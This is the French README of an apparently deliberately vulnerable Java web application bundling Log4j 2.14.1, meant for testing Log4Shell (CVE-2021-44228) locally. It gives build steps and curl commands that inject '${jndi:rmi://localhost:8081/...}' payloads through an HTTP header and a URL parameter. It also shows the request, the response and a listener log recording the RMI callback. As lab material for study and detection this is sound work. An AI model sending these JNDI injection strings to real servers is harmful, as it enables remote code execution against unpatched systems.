
Ceci est une application web Java potentiellement vulnérable contenant Log4j affecté par log4shell (CVE-2021-44228).
Il s'agit d'une application web Java potentiellement vulnérable contenant Log4j(2.14.1) affecté par log4shell(CVE-2021-44228).
java --version pour vérifier qu'AdoptOpenJDK fonctionne correctement.[Remarque]
Si vous souhaitez changer la version du JDK, le port Tomcat, etc., modifiez build.gradle.
Exécutez le wrapper Gradle avec build.gradle.
# on Linux
./gradlew appRun
# on Windows
.\gradlew.bat appRun
URL principale :
http://localhost:8080/l4s-vulnapp/
[Remarque]
Log4Shell ne se déclenche que lorsque l'application effectue une journalisation Log4j.
Par exemple, si l'URL suivante est consultée, Log4Shell sera exécuté.
http://localhost:8080/l4s-vulnapp/servlet
Vous pouvez vérifier Log4Shell en modifiant la valeur de "x-param" ou en ajoutant l'en-tête "x-log" à la requête HTTP lors de l'accès.
Ces paramètres seront journalisés par Log4j.
Cependant, cela n'est possible que si un serveur d'écoute est actif sur localhost:8081.
curl http://localhost:8080/l4s-vulnapp/servlet -H 'x-log: ${jndi:rmi://localhost:8081/test.txt}'
curl -X GET http://localhost:8080/l4s-vulnapp/servlet?x-param=%24%7Bjndi%3Armi%3A%2F%2Flocalhost%3A8081%2Ftest.txt%7D
Requête HTTP
GET http://localhost:8080/l4s-vulnapp/servlet?x-param=%24%7Bjndi%3Armi%3A%2F%2Flocalhost%3A8081%2Ftest.txt%7D HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/ *;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:8080/l4s-vulnapp/
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: ja,en-US;q=0.9,en;q=0.8
Réponse HTTP
HTTP/1.1 200
Content-Type: text/plain;charset=utf-8
Content-Length: 62
Date: Fri, 15 Mar 2024 18:42:56 GMT
Keep-Alive: timeout=60
Connection: keep-alive
Hello
Logging to console using vulnerable Log4j2 by parameter
Requête RMI par l4s-vulnapp
2024/03/16 03:42:46: [Start] Receive Server for Log4Shell.
2024/03/16 03:42:46: [Note] Listening on IP: "localhost" Port: 8081
2024/03/16 03:42:55: [Note] Requested from IP: "127.0.0.1" Port: 53282)
2024/03/16 03:42:55: [Hex data] ===== start =====
2024/03/16 03:42:56: 00000000 4A 52 4D 49 00 02 4B 00 00 00 00 00 00 00 00 00 JRMI..K.........
2024/03/16 03:42:56: 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
2024/03/16 03:42:56: [Hex data] ===== end =====
2024/03/16 03:42:56: [Raw data] ===== start =====
2024/03/16 03:42:56: JRMI
2024/03/16 03:42:56: [Raw data] ===== end =====
l4s-ls.ps1 démarre un serveur d'écoute ; exécutez ce script sur Windows PowerShell/Invite de commandes.
Ce serveur reçoit les communications binaires telles que LDAP et RMI, et peut afficher le contenu de ces communications en Hex et en Raw.
Si le script ne fonctionne pas correctement, utilisez Ctrl + C pour l'arrêter.
[Attention]
Lors de la première exécution de ce script, il est nécessaire de sélectionner "Private Network" dans la fenêtre contextuelle de Windows.
PowerShell -ExecutionPolicy RemoteSigned .\l4s-ls.ps1 -p 8081